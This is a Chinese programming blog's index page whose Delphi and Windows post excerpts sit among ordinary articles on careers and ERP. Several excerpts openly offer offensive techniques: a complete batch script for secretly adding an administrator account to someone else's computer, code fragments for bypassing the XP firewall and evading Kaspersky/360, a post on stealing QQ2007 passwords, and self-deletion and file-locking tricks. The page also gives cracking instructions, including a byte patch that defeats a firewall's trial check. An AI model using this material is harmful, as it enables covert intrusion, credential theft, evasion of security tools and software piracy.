自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

荣植华的专栏

问渠那得清如许,为有源头活水来

  • 博客(178)
  • 资源 (4)
  • 收藏
  • 关注

原创 Xcode11: 删除默认Main.storyBoard, 自定义UIWindow的变化 UIWindow 不能在AppDelegate中处理

Xcode自动新增了一个SceneDelegate文件,查找了一下官方文档WWDC2019:Optimizing App Launch 发现,iOS13中appdelegate的职责发现了改变: iOS13之前,Appdelegate的职责全权处理App生命周期和UI生命周期; iOS13之后,Appdelegate的职责是: 1、处理 App 生命周期 2、新的 Scene Session 生命...

2019-09-29 10:36:35 6256 1

原创 好久没有写博文了

这段时间比较忙乱,是时候打点行装,再上征程了... ...

2009-07-31 22:19:00 1265

转载 阻止删除文件(文件占坑)的delphi代码

  代码:function EnabledDebugPrivilege(const bEnabled: Boolean): Boolean;varhToken: THandle;tp: TOKEN_PRIVILEGES;a: DWORD;constSE_DEBUG_NAME = SeDebugPrivilege;beginResult := False;if (OpenProcessT

2008-12-11 08:50:00 3031

转载 加壳原理与简单实现加壳(delphi源代码)

{*****************************************************************AddShell()源自于前一段时间有写的addsection()新增区段代码,在增加区段代码的基础上,追加了1.修改启动入口点位置2.增加一段壳头xor $50的代码function AttachStart-function AttachEnd这一段代码是先填充,再

2008-12-11 08:48:00 4053

转载 完美屏蔽 Ctrl+Alt+Del 键

完美屏蔽 Ctrl+Alt+Del 键一、前言  在Windows 9x/Me系统中,屏蔽Ctrl+Alt+Del和各种任务开关键的方法是通过下面的方法实现的:BOOL bOldState;SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, &bOldState, 0); 但在NT平台下,此方法不再适用,即使使用钩子技术也无法拦截到这个组

2008-10-25 14:03:00 8122 1

原创 如何过XP的防火墙而不被拦截

procedure TForm1.Button1Click(Sender: TObject);var   FwMgr,Profile,FwApp: variant;begin   FwMgr := CreateOLEObject(HNetCfg.FwMgr);   Profile := FwMgr.LocalPolicy.CurrentProfile;   FwApp := CreateOLE

2008-10-24 13:18:00 3408 8

原创 windows2008下如何删除程序自身

procedure DeleteMe;var  BatchFile: TextFile;  BatchFileName: string;  ProcessInfo: TProcessInformation;  StartUpInfo: TStartupInfo;begin  BatchFileName := ExtractFilePath(ParamStr(0)) + _deleteme.ba

2008-10-09 10:42:00 4069 4

原创 写程序启动项时如何过卡巴与360安全卫士等软件的方法

procedure SetPrivilege;const  ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;  SHTDWN_PRIV = SeBackupPrivilege;      //SeBackupPrivilege 备份文件和目录。      //允许用户绕过文件和目录的权限来做备份。只有当应用程序尝试访问NTFS备份API

2008-10-09 10:35:00 4524 3

原创 Delphi中进行延时的4种方法

 1、挂起,不占CPUsleep2、不挂起,占cpuprocedure Delay(msecs:integer);varFirstTickCount:longint;beginFirstTickCount:=GetTickCount;repeatApplication.ProcessMessages;until ((GetTickCount-FirstTickCount) >= Longint(m

2008-06-05 08:53:00 22202 4

原创 CodeGear RAD 2007 SP4 最新下载及破解

CodeGear RAD 2007 up4最新下载及破解官方http下载:  http://altd.codegear.com/download/radstudio2007/CodeGearRADStudio2007_Dec2007.iso 官方 ftp下载:  ftp://ftpd.codegear.com/download/radstudio2007/CodeGearRADStudio

2008-06-04 20:38:00 13951 7

转载 IT圈里的程序员们(3)

4 思想,无招胜有招4.1   阶段释义客户:我们公司有二十个下属单位,每个单位分别有一套自己的销售管理系统。我们想了解各个单位的销售情况,现在是每个星期由下属单位上报周报,周期太长了,不利于领导及时掌握情况。老李:如果把销售数据自动地集中到总公司这边来呢?客户:集中?有什么好处?老李:数据集中后,总公司可以实时掌握销售情况,不用等上一个星期。根据集中后的数据,您只需要打开

2008-04-26 23:54:00 2052 1

转载 IT圈里的程序员们(2)

3 设计,方法为指导3.1   阶段释义老李:老张,你负责的这个模块,要有分布式事务处理能力,还要能与客户的OA系统通信,从OA中获取客户资料的数据。老张:好的。我将用EJB来实现分布式事务处理,然后开发一个专门的接口,用来与OA通信。老张毕业五年,是项目组的开发经理,负责完成子系统的设计,并指导其他成员完成编码。老张从老李处获得关于所开发的产品的需求情况,然后进行设计和分析,

2008-04-26 23:52:00 1937 1

转载 IT圈里的程序员们(1)

1 引子都说海阔凭鱼跃,又有多少鱼能跃出大海?都说天高任鸟飞,但真正能一飞冲天的,也不过是寥寥数鹰而已;在IT圈里流浪的程序员,当青春逝去、渐至而立之年时,又有多少人黯然退出?30岁,似乎宣告了程序人生的终结。从学会写第一个Basic程序起,已过去了15年,我也曾为30岁烦恼过。近日《神雕》热播,杨过在独孤剑圣的剑冢中发现宝剑若干,见证了独孤剑圣在人生不同阶段对剑道的领悟。忽有所感,联想起

2008-04-26 23:51:00 3266 6

原创 使用Qt, KDevelop Designer开发Linux的图形界面

        不知道从什么时候开始,在网页上点击文件链接或者邮件附件链接, 都会被IE以文本形式打开,就是又开了一个IE窗口,并且显示一大堆文本形式的乱码。从网上找了半天解决办法,终于找到一个。记在这里,也许对大家有用。       说明一下,我机器是Windows 2003 + sp1。      这类问题是由于文件的扩展名和内容之间的不匹配造成的,或者服务器端报告的内容类型,与文件的

2008-04-03 16:22:00 3341

转载 软件外包该如何正确定价

  随着行业竞争激烈,越来越多的公司对信息化存在很大的需求,因而软件外包业务近年来始终保持了较快增长速度。从这几年的统计数据来看,软件技术服务始终以高于行业平均增长速度增长,软件外包的市场也相应地在不断地扩大。但现实中很多人却感叹软件外包难做,其中最难的就是外包的定价,这也是由于软件商品的特殊性所决定的。软件不同于其他有形的物质产品,比如电脑,由于制造电脑需要原材料,还需要加工。把这两部分的成本加

2008-03-21 15:47:00 4851

转载 软件项目该如何接?(转自速用)

  软件项目的承接是软件企业一种重要的盈利方式,甚至对于很多软件企业来说,项目承接就是他们唯一的盈利手段,所以对于很多软件企业来讲,项目承接的成败,就是企业运营的成败。   但无论对于哪类软件企业来讲,项目的承接都不是轻而易举的事情,并且不同的类型,不同特点的软件企业在项目

2008-03-21 15:41:00 3757

原创 给别人的电脑创建一个删不掉的管理员

1、在自己电脑里面建立一个.txt文本文件.  2、在里面输入内容  @echo off  net user xxhk 5201314 /add   (注:xxhk是用户名,5201314是密码)  net localgroup administrators xxhk /add  (注:这个命令是将这个xxhk用户提升为超管)  3、保存该文件,后缀为admin.bat (注:文件名可自行更改,但

2008-03-06 16:21:00 10047 2

原创 Visual Studio 2008 简体中文专业版

Visual Studio 2008 简体中文专业版已经发布!90天试用版下载地址:http://www.microsoft.com/downloads/details.aspx?FamilyID=83c3a1ec-ed72-4a79-8961-25635db0192b&DisplayLang=zh-cn试用版变正式版方法,先安装试用版,然后在“添加或删除程序”里找到VS2008,点“

2008-03-06 16:03:00 2515 1

转载 利用Debug Api 获得QQ2007密码

代码:{*******************************************************}{                                                       }{       利用Debug Api 获得QQ2007密码                    }{   只支持QQ2007版本为7.1.576.1763

2008-03-06 16:01:00 8082 10

原创 封装delphi Hook Api

直接看代码unit uApiHook;interfaceuses  SysUtils, Windows, TlHelp32;type  PJmpCode = ^TJmpCode;  TJmpCode = packed record    JmpCode: BYTE;    Address: Pointer;    MovEAX: Array [0..2] of BYTE;  end;type 

2008-03-06 16:00:00 3247 1

转载 三五个人十来条枪 如何走出软件作坊成为开发正规军 (转贴)

从发了上一篇博文,这几天收到很多朋友的来信。大家从各个开发语言的优缺点和适用领域,一直讨论到设计模式、框架、重构、单元测试,乃至敏捷编程,最后都讨论到了软件开发过程管理,甚至都谈到了盈利模式和中国软件的悲哀。最后不了了之,都觉得改善中国内地现在的软件生产状况不可能。为什么呢?我重新把这几天大家的讨论留言翻了一遍,发现大家的软件团队都存在着这样一种普遍现象1大部分人所在的公司

2008-03-01 22:57:00 1539 3

转载 研发必须走可持续发展的道路

一个公司如果想做出品牌产品,研发必须走可持续发展的道路。走可持续发展的道路,必须加强对过程进行控制。不是单一的以结果为导向。单一满足客户当前需求。组织架构上必须做好权利,责任,利益一致等。研发部门最最要的事情是保证产品能够按计划进度,品质,成本预算完成。 如何保证进度:必须有两个前提,第一:项目实施之前要保证核心技术攻关都已经完成,如一个项目中关键技术不知道能否解决,也不知道多久能解决

2008-02-19 16:03:00 1536

转载 系统架构师职业分析

日常工作的主要内容  领导与协调整个项目中的技术活动(分析、设计和实施等);推动主要的技术决策,并最终表达为软件架构;确定和文档化系统的构架,包括系统的需求、设计、实施和部署等“视图”;确定设计元素的分组,以及这些主要分组之间的接口;为技术决策提供规则,平衡各类不同关注点,化解技术风险,并保证相关决定能被有效的传达和贯彻;理解、评价并接受系统需求;评价和确认软件架构的实现。岗位主要职责

2008-02-19 15:57:00 1982

转载 软件构架师需要什么技能?

  作为项目的技术主管,构架师的技术需要非常的广泛,这比技术深度更加重要(当然构架师在特定的领域需要一定的技术深度)。软件构架师是技术主管    首先,软件构架师是技术主管,这意味着除了他要有技术上的技能外,还要有很好的领导才能。构架师的领导能力在团队中和项目质量控制中起着十分重要的作用。    在团队中,构架师是项目的技术总管,他需要有丰富的知识背景,以便作出技术上的决定。相对于构架

2008-02-19 15:53:00 1248

转载 别做完美主义者

  不要等到所有的情况都完美以后,才动手去做,那样的话你可能一事无成。  在我们的周围,你会发现一些人,他们才智过人,工作能力也很不错,而且又非常勤奋,一工作起来常常什么都有可能忘了。但是,他们就是出不了什么成果,眼看着比他们在各方面都差一些的人成果都十分显著了,而他们却依然默默无闻。  寻找这类人之所以迟迟不能成功的原因,可能不是一件容易的事情,因为他们的才华虽然说不上盖世,但比起我们常人却超出

2008-02-18 09:41:00 1699 1

原创 VCLSkin 4.12 FullSource的bug修正

1、修正ComboBox列表无边框的bug将WinSubClass.pas中TComboxScrollBar.WMNCPaint函数中的注释取消。2、修正系统菜单(Sysmenu)无边框的bug将WinSkinMenu.pas中TWinSkinPopMenu.NcPaint函数中作如下修改:Dc := GetWindowDC(hwnd); //Dc := GetDCEx(hwnd, msg.W

2008-01-16 00:34:00 1936 2

原创 下雪特效

program Snow;uses  Windows, Messages;const  SnowNumber = 500; // 雪点数量-1type  SnowNode = record    Point: TPoint;  // 雪点位置    Color: Integer; // 先前颜色    Speed: Integer; // 下落速率    nMove: Integer; // 

2007-12-11 15:00:00 1408

原创 PowerDesigner反向SQL Server 2000数据库问题

在PowerDesigner中,对SQL Server 2000进行数据库反向(Database -> Reverse Engineer Database)时,会反向出一些名称以“_WA_Sys”开头的索引,但这些索引并不是我们做数据库设计的时加的,如何去掉这些不必要的索引呢,请按如下步骤进行:1、在PowerDesigner中点击Tools-Resources-DBMS,打开“List of D

2007-11-02 10:26:00 1714 2

原创 PowerDesiner 12 最新下载(测试可下)

PowerDesiner 12的下载地址:http://dl01.nbdown.net//Program/Sybase.PowerDesiner.v12.0.zip说明:        安装时候先选择试用15天版,不需要输入注册码就可以直接安装了,安装到最后finish的时候,不要马上点击finish,而去执行crack目录里面的patch.exe文件,一切都next就好了,patch安装好后

2007-11-02 10:11:00 1986

转载 犹太人经商25法则

转自中国妈咪蛋糕网一、犹太人经商和立业的哲学 1、*谁是贤人?从所有人身上学习的人是贤人。谁是英雄?战胜自己情欲的人是英雄。谁是富人?对自己满足的人是富人。谁是被尊重的人?尊重别人的人是被尊重的人。 2、*贤人有七德:一是不班门弄斧,二是不打断别人的话,三是不急于求成,四是提问要有针对性,五是解答要符合情理,六是谈话要有始有终,七是要立足于实际。 3、*在死之前不要自负。不能站在别人的立场上,

2007-09-24 21:34:00 2054

转载 必须知道的社会生活中十二大著名法则

爬网时偶尔看到的一篇文章,与大家分享1 马太效应                 《新约马太福音》中有这样一个故事,一个国王远行前,交给3个仆人每人一锭银子,吩咐他们:“你们去做生意 ,等我回来时,再来见我。”国王回来时,第一个仆人说:“主人,你交给我们的一锭银子,我已赚了10锭。”于是国王奖励他10座城邑。第二个仆人报告说:“主人,你给我的一锭银子,我已赚了5锭。”于是国王例奖励了他5座城邑

2007-09-24 21:27:00 1837

原创 利用存儲過程進行簡繁體轉換

 if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[f_GB2BIG]) and xtype in (NFN, NIF, NTF)) drop function [dbo].[f_GB2BIG] GO  --生成码表 if exists (select * from dbo.sysobjects

2007-09-08 16:15:00 2435

原创 FastReport 4.3 最新补丁

因工作原因要使用最新的FastReport 4.3版本,结果发现新版本的FastReport对 WideString的支持不太好,没办法就改了几个地方,主要修正如下问题:1.修改了在win9.x和winxp下中文显示不全的问题2.修改了在win9.x和winxp下中文重叠的问题3.将默认字体改成“宋体”。4.解决无法使用OnGetText事件的问题5.解决在设置字体后出现无法居中的问题下载

2007-09-05 11:08:00 2113

原创 天网防火墙的最新破解方法

前两天电脑中了马,在结束漫长的杀毒过程后,决定装个防火墙,以前用过天网的,还不错,试用版的可免费使用。不过唯一麻烦的是总有个试用的启动窗体,虽不影响使用,但实在影响心情,便用OLLDBG破解了一下,去掉了试用界面的显示。本方法对3.0.0.1009版本的有效。方法比较简单,一行字:用二进制编辑器打开PFW.exe文件,找到 E818031900 将其它改为 9090909090 即可。 

2007-08-25 21:50:00 2006

转载 ERP的未来 平台化+SOA

ERP早已不再是简单的以软件技术为核心的高科技产品,它已成为现代企业管理不可或缺的手段。除了使企业流程更规范,使管理和财务更透明外,现代企业激烈的竞争环境对于ERP的标准化、可扩充性、可维护性、可交互性等提出了更高的要求。其实,ERP最核心的并不是技术,而是其中由大量咨询顾问和企业的实践者们提炼出来的管理思想。平台化企业可以通过ERP建立企业应用核心业务和开发平台,成为ERP发展的重要

2007-08-14 21:28:00 3213

转载 软件研发人员的考核

软件研发人员的考核一直是软件企业管理的难点,笔者在长期的研发管理实践与咨询实践中,总结了进行软件研发人员考核的一些基本原则,整理出来与大家共享:   ◆Ø要体现公司的价值观  公司的价值观体现了公司认可什么类型的人员?要挽留哪些人?提倡做什么?对这些人员的认可可以通过具体的考核办法落实下来。比如企业鼓励在某一个业务领域内积累丰富的领域经验,鼓励在某个技术方向上进行深入钻研等,对于提倡的这些行为

2007-08-05 13:50:00 3044 1

原创 防止SQL SERVER的事件探查器跟踪软件的SQL脚本

如何防止SQL SERVER的事件探查器跟踪软件的SQL脚本,保障自己的软件不被他人分析?以下是一个停止所有SQLSERVER的跟踪器的脚本(两种方法的原理相同):第一种方法:procedure SQLCloseAllTrack;const  sql = declare @TID integer +    declare Trac Cursor For +    SELE

2007-06-15 08:23:00 3958 1

原创 Ehlib表格区填满表格线的解决方案

表格区填满表格线的问题,公布如下:3。6版本中修改DBGridEh.pas单元的UpdateRowCount过程:procedure TCustomDBGridEh.UpdateRowCount;var BetweenRowHeight, t: Integer; OldRowCount, OccupiedHeight, VisibleDataRowCount, NewRowCount: Int

2007-05-22 09:28:00 4547 2

转载 企业如何辨别ERP是否稳定

     国内ERP产品层出不穷,占据了软件市场的近半壁江山,但部分产品在质量上也存在很大隐患——无论小的还是上规模的产品,都存在同一个问题,那就是产品的稳定性。ERP产品如果不稳定将为企业带来哪些影响?企业如何辨别ERP是否稳定?笔者在此为您做一分析。 ERP不稳定的致命影响 众所周知ERP软件更新换代比较快,处在不停升级、不停打补丁的状态中,这导致软件的稳定性比较差。而新产品发布后

2007-05-18 13:41:00 2762

转载 核心流程决定ERP项目的信息化选型

     不见得要选择大而全的ERP产品,小而精的解决具体核心问题的定制化产品可能会更加合适,一定要围绕企业的运作瓶颈和核心问题来进行分析选择。A公司是专门从事电动产品的专业制造公司,无论技术力量还是销售规模,在国内都是首屈一指,现有五家分公司,四个生产基地,年设计生产能力达到200万。 A公司作为行业的领先者,为了获得领先优势,准备在全公司范围内实施信息化,并且成立了信息化领导工作组,由

2007-05-18 13:39:00 1755

TCP和UDP连接

查看TCP和UDP连接情况,包括端口占用情况

2015-03-10

DELPHI XE5 正式版破解(亲测可用)

rad studio xe5完全破解工具 解决bds.exe文件大小不对的错误 之前尝试了很多,都是破解补丁异常报错退出, 查看提示是bds.exe文件大小不对,终于找到一个可行的,拿出来给大家分享。 执行步骤如下: 第一步 请清除C:\ProgramData\Embarcadero下的.licenses、.cgb_license、*.slip文件。 第二步 将包中的RADStudioXE5.slip复制到C:\Program Files (x86)\Embarcadero\RAD Studio\12.0\License下; 第三步 用包中的bds.exe替换C:\Program Files (x86)\Embarcadero\RAD Studio\12.0\bin目录下的bds.exe;替换前请保留备份(可能没有什么用)! 第四步 最后将delphi.xe5.patch.exe放到C:\Program Files (x86)\Embarcadero\RAD Studio\12.0\bin目录下进行破解。

2013-09-23

TortoiseSVN Delphi 插件

TortoiseSVN2IDE 20080226 修改版 内含源代码

2008-02-26

FastReport 4.3 最新 2007-09-06 补丁

1.修改了在win9.x和winxp下中文显示不全的问题 2.修改了在win9.x和winxp下中文重叠的问题 3.将默认字体改成“宋体”。 4.解决无法使用OnGetText事件的问题 5.解决在设置字体后出现无法居中的问题

2007-09-04

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除